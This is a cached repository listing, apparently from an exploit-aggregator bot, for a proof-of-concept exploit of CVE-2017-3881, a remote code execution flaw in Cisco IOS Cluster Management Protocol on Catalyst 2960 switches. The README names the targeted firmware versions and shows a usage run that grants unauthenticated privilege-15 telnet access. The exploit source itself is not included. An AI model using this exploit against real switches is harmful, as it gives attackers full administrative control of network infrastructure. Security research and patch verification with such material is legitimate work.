CVE-2017-3881 PoC — 多款Cisco产品IOS和IOS XE Software 输入验证错误漏洞

Source

https://github.com/mzakyz666/PoC-CVE-2017-3881

Associated Vulnerability

Title:多款Cisco产品IOS和IOS XE Software 输入验证错误漏洞 (CVE-2017-3881)
Description:Cisco Catalyst Switches等都是美国思科（Cisco）公司的交换机产品。Cisco IOS和IOS XE都是运行于其中的操作系统。多款Cisco产品中的IOS和IOS XE Software的Cluster Management Protocol (CMP)处理代码存在远程代码执行漏洞。远程攻击者可利用该漏洞造成受影响设备重载，或以提升的权限执行代码。以下设备受到影响：Cisco Catalyst switches；Embedded Service 2020 switches；Enh

Description

Cisco Catalyst Remote Code Execution PoC

Readme

# PoC-CVE-2017-3881
Cisco Catalyst Remote Code Execution PoC

This repository contains Proof-Of-Concept code for exploiting remote code execution vulnerability disclosed by Cisco Systems on March 17th 2017 - <https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp> 


Description
-------------
Exploit write-up: https://errorcybernews.com/2017/05/11/cisco-systems-merilis-update-switch/

RCE exploit code is available for Cisco Catalyst 2960 switch model. This exploit is firmware dependent. Two firmware versions are supported:

- 12.2(55)SE1  C2960-LANBASEK9-M
 
- 12.2(55)SE11 C2960-LANBASEK9-M

Denial of service code is available as a metasploit ruby module. This should work for most of the switches mentioned in the Cisco advisory (confirmation needed).

Usage example
-------------

```
$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.

catalyst1#show priv
Current privilege level is 15
```


Thanks to Author:
------

Artem Kondratenko https://twitter.com/artkond

File Snapshot


 [4.0K]  /data/pocs/7adafdd1757abca5e31acaeea4a87d51427c7310
├── [2.7K]  c2960-lanbasek9-m-12.2.55.se11.py
├── [2.7K]  c2960-lanbasek9-m-12.2.55.se1.py
├── [1.5K]  CVE-2017-3881-metasploit-module.rb
└── [1.3K]  README.md

0 directories, 4 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!